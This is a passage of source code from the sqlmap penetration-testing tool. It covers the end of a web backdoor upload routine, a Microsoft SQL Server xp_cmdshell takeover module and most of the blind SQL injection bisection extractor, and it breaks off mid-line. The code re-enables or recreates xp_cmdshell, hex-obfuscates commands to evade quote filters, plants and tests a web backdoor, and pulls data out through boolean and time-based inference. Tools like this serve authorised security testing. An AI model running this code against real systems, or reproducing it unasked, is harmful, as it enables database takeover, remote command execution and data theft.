self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warning(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break ================================================ FILE: lib/takeover/xp_cmdshell.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed from lib.core.compat import xrange from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData from lib.request import inject class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. """ def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" def _xpCmdshellCreate(self): cmd = "" if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self.xpCmdshellStr = "master..new_xp_cmdshell" cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2000",)): cmd = self._xpCmdshellConfigure2000(mode) else: cmd = self._xpCmdshellConfigure2005(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) return wasLastResponseDelayed() @stackedmethod def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") output = self.xpCmdshellEvalCmd("echo 1") if output == "1": logger.info("xp_cmdshell extended procedure is usable") elif isNoneValue(output) and conf.dbmsCred: errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " errMsg += "'--tmp-path' or you won't be able to retrieve " errMsg += "the command(s) output" logger.error(errMsg) elif isNoneValue(output): logger.error("unable to retrieve xp_cmdshell output") else: logger.info("xp_cmdshell extended procedure is usable") threadData.disableStdOut = popValue() def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): echoedLines = [] cmd = "" charCounter = 0 maxLen = 512 if isinstance(fileContent, (set, list, tuple)): lines = fileContent else: lines = fileContent.split("\n") for line in lines: echoedLine = "echo %s " % line echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to # redirect the command standard output to a temporary file in order # to retrieve it afterwards # NOTE: this does not need to be done when the command is 'del' to # delete the temporary file if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr try: self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) except UnicodeError: self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because # it does not work unfortunately, BULK INSERT needs to be used to # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output def xpCmdshellInit(self): if not kb.xpCmdshellAvailable: infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, please wait.." logger.info(infoMsg) result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") kb.xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: logger.warning("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) self._xpCmdshellCreate() if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warning(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise SqlmapUnsupportedFeatureException(errMsg) debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) # TEXT can't be used here because in error technique you get: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self._xpCmdshellTest() ================================================ FILE: lib/techniques/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/techniques/blind/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/techniques/blind/inference.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_REVALIDATION_STEPS from lib.core.settings import NULL from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange from thirdparty import six def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if payload is None: return 0, None if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: pass elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal if Backend.isDbms(DBMS.MCKOI): match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) if match: original = queries[Backend.getIdentifiedDbms()].inference.query right = original.split('<')[1] payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) expression = match.group(1).strip() elif Backend.isDbms(DBMS.FRONTBASE): match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) if kb.bruteMode: numThreads = 1 else: numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) def tryHint(idx): with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) or "" forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return hintValue[idx - 1] with kb.locks.hint: kb.hintValue = "" return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ threadData = getCurrentThreadData() validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = validationPayload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and getTechniqueData().trueCode: result = threadData.lastCode == getTechniqueData().trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(getTechnique()) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ threadData = getCurrentThreadData() result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if kb.disableShiftTable: shiftTable = None elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: if not isinstance(charTbl, list): charTbl = list(charTbl) charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = payload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: if threadData.lastCode is not None: warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode else: warnMsg = "unexpected response detected." warnMsg += " Will use (extra) validation step in similar cases" singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: kb.disableShiftTable = True return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warning(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} maxCandidate = max(candidates) maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 for candidate in candidates: for bit in xrange(maxBits): bits.setdefault(bit, 0) if candidate & (1 << bit): bits[bit] += 1 else: bits[bit] -= 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: if candidates[0] == 0: # Trailing zeros return None else: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629 if not isListLike(threadData.shared.value): break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif (conf.verbose in (1, 